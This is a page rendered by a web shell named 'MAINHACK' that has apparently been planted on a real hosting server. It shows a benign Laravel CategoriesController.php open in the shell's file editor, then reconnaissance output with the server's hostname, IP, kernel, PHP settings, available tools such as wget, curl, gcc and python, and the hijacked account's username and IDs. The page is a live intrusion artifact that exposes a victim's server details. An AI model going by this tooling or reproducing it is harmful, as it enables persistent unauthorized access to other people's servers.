[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CategoriesController.php
<?php namespace App\Http\Controllers\Web; use App\Http\Controllers\Controller; use App\Models\Bundle; use App\Models\Category; use App\Models\FeatureWebinar; use App\Models\Sale; use App\Models\Ticket; use App\Models\Translation\CategoryTranslation; use App\Models\Webinar; use App\Models\WebinarFilterOption; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; class CategoriesController extends Controller { public function index(Request $request, $categorySlug, $subCategorySlug = null) { if (!empty($categorySlug)) { $categoryQuery = Category::query()->where('slug', $categorySlug); if (!empty($subCategorySlug)) { $categoryQuery = Category::query()->where('slug', $subCategorySlug); } $category = $categoryQuery->withCount('webinars') ->with(['filters' => function ($query) { $query->with('options'); }])->first(); if (!empty($category)) { $categoryIds = [$category->id]; if (!empty($category->subCategories) and count($category->subCategories)) { $categoryIds = array_merge($categoryIds, $category->subCategories->pluck('id')->toArray()); } $featureWebinars = FeatureWebinar::whereIn('page', ['categories', 'home_categories']) ->where('status', 'publish') ->whereHas('webinar', function ($q) use ($categoryIds) { $q->where('status', Webinar::$active); $q->whereHas('category', function ($q) use ($categoryIds) { $q->whereIn('id', $categoryIds); }); }) ->with(['webinar' => function ($query) { $query->with(['teacher' => function ($qu) { $qu->select('id', 'full_name', 'avatar'); }, 'reviews', 'tickets', 'feature']); }]) ->orderBy('updated_at', 'desc') ->get(); $webinarsQuery = Webinar::where('webinars.status', 'active') ->where('private', false) ->whereIn('category_id', $categoryIds); $classesController = new ClassesController(); $moreOptions = $request->get('moreOptions'); $tableName = 'webinars'; if (!empty($moreOptions) and is_array($moreOptions) and in_array('bundles', $moreOptions)) { $webinarsQuery = Bundle::where('bundles.status', 'active') ->whereIn('category_id', $categoryIds); $tableName = 'bundles'; $classesController->tableName = 'bundles'; $classesController->columnId = 'bundle_id'; } $webinarsQuery = $classesController->handleFilters($request, $webinarsQuery); $sort = $request->get('sort', null); if (empty($sort)) { $webinarsQuery = $webinarsQuery->orderBy("{$tableName}.created_at", 'desc'); } $webinars = $webinarsQuery->with(['tickets']) ->paginate(6); $seoSettings = getSeoMetas('categories'); $pageTitle = !empty($seoSettings['title']) ? $seoSettings['title'] : trans('site.categories_page_title'); $pageDescription = !empty($seoSettings['description']) ? $seoSettings['description'] : trans('site.categories_page_title'); $pageRobot = getPageRobot('categories'); $data = [ 'pageTitle' => $pageTitle, 'pageDescription' => $pageDescription, 'pageRobot' => $pageRobot, 'category' => $category, 'webinars' => $webinars, 'featureWebinars' => $featureWebinars, 'webinarsCount' => $webinars->total(), 'sortFormAction' => $category->getUrl(), ]; return view(getTemplate() . '.pages.categories', $data); } } abort(404); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285